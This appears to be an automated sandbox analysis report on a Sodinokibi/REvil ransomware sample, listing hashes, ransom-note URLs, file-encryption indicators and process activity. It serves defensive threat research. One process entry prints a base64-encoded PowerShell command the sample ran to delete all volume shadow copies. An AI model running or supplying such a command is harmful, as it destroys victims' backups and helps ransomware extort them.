Analysis
-
max time kernel
164s -
max time network
170s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
24-01-2022 01:38
Static task
static1
Behavioral task
behavioral1
Sample
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe
Resource
win10-en-20211208
General
-
Target
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe
-
Size
115KB
-
MD5
186fc63770de2c15829a415ed0504abe
-
SHA1
19f7900a62ec2227f73ec3423767f3959748002c
-
SHA256
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6
-
SHA512
0bbe0f7647c4bb8495ef1a057d66510ef50fb916ed3eb48c74b4686eae441652b0c148511dfd97c4f79282b48e952e08929c99bff96ee1d716c39ee304d6c331
Malware Config
Extracted
C:\uowl18-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F3C64A81F74B4A39
http://decryptor.cc/F3C64A81F74B4A39
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 12 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exedescription ioc process File renamed C:\Users\Admin\Pictures\EditSkip.tiff => \??\c:\users\admin\pictures\EditSkip.tiff.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File renamed C:\Users\Admin\Pictures\ImportRevoke.tiff => \??\c:\users\admin\pictures\ImportRevoke.tiff.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File renamed C:\Users\Admin\Pictures\JoinResume.tiff => \??\c:\users\admin\pictures\JoinResume.tiff.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File renamed C:\Users\Admin\Pictures\ResolveUnprotect.crw => \??\c:\users\admin\pictures\ResolveUnprotect.crw.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File renamed C:\Users\Admin\Pictures\SubmitSwitch.tif => \??\c:\users\admin\pictures\SubmitSwitch.tif.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\users\admin\pictures\ImportRevoke.tiff 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\users\admin\pictures\JoinResume.tiff 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File renamed C:\Users\Admin\Pictures\CompressSet.png => \??\c:\users\admin\pictures\CompressSet.png.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File renamed C:\Users\Admin\Pictures\UninstallOpen.tif => \??\c:\users\admin\pictures\UninstallOpen.tif.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File renamed C:\Users\Admin\Pictures\WatchComplete.crw => \??\c:\users\admin\pictures\WatchComplete.crw.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\users\admin\pictures\EditSkip.tiff 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File renamed C:\Users\Admin\Pictures\ExpandInitialize.raw => \??\c:\users\admin\pictures\ExpandInitialize.raw.uowl18 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe -
Drops startup file 1 IoCs
Processes:
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exedescription ioc process File created \??\c:\users\admin\appdata\roaming\microsoft\word\startup\uowl18-readme.txt 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exedescription ioc process File opened (read-only) \??\R: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\Y: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\F: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\Q: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\G: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\H: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\I: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\K: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\M: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\T: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\A: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\E: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\X: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\Z: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\V: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\W: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\U: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\B: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\L: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\O: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\P: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\S: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\J: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened (read-only) \??\N: 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe -
Drops file in Program Files directory 12 IoCs
Processes:
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exedescription ioc process File created \??\c:\program files (x86)\uowl18-readme.txt 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\ConnectDisconnect.pcx 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\InitializeInstall.pub 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\UnregisterMerge.mp4 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File created \??\c:\program files\uowl18-readme.txt 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\DisablePush.odt 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\ProtectReceive.bin 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\RegisterPush.mpv2 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\RemoveFind.vsdx 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\SkipExport.temp 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\SubmitConvert.vsdm 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe File opened for modification \??\c:\program files\DebugCopy.zip 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exepowershell.exepid process 2808 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe 2808 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe 4048 powershell.exe 4048 powershell.exe 4048 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 2808 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe Token: SeDebugPrivilege 4048 powershell.exe Token: SeBackupPrivilege 712 vssvc.exe Token: SeRestorePrivilege 712 vssvc.exe Token: SeAuditPrivilege 712 vssvc.exe Token: SeTakeOwnershipPrivilege 2808 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exedescription pid process target process PID 2808 wrote to memory of 4048 2808 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe powershell.exe PID 2808 wrote to memory of 4048 2808 89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe"C:\Users\Admin\AppData\Local\Temp\89a77693e6b0f16c8b51c02c2895622ad4bd4ea3fed11c069d19433a51aa55f6.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
\??\c:\users\admin\appdata\local\microsoft\clr_v4.0\usagelogs\powershell.exe.logMD5
17286868c0a043ae5d2ff5798b6a3163
SHA1b83b23cd57c7fb2c937f5bc18aeb7ddc955b5401
SHA25640321e18ed0b9eb7e3bc937d3e207ea2039ff45267483ddb4a51f7974475dac6
SHA512e15c11982c0569a389a7dbd0889edd1ef9a8ffb21c0e8ffadebc10e1353f4485524b18ca8e041c66c98d05fb984544da122755e6c2a25728453aeaf4175bdee1
-
memory/4048-120-0x000002301B070000-0x000002301B092000-memory.dmpFilesize
136KB
-
memory/4048-124-0x000002301B390000-0x000002301B406000-memory.dmpFilesize
472KB
-
memory/4048-131-0x0000023003040000-0x000002301B110000-memory.dmpFilesize
384.8MB
-
memory/4048-137-0x0000023003040000-0x000002301B110000-memory.dmpFilesize
384.8MB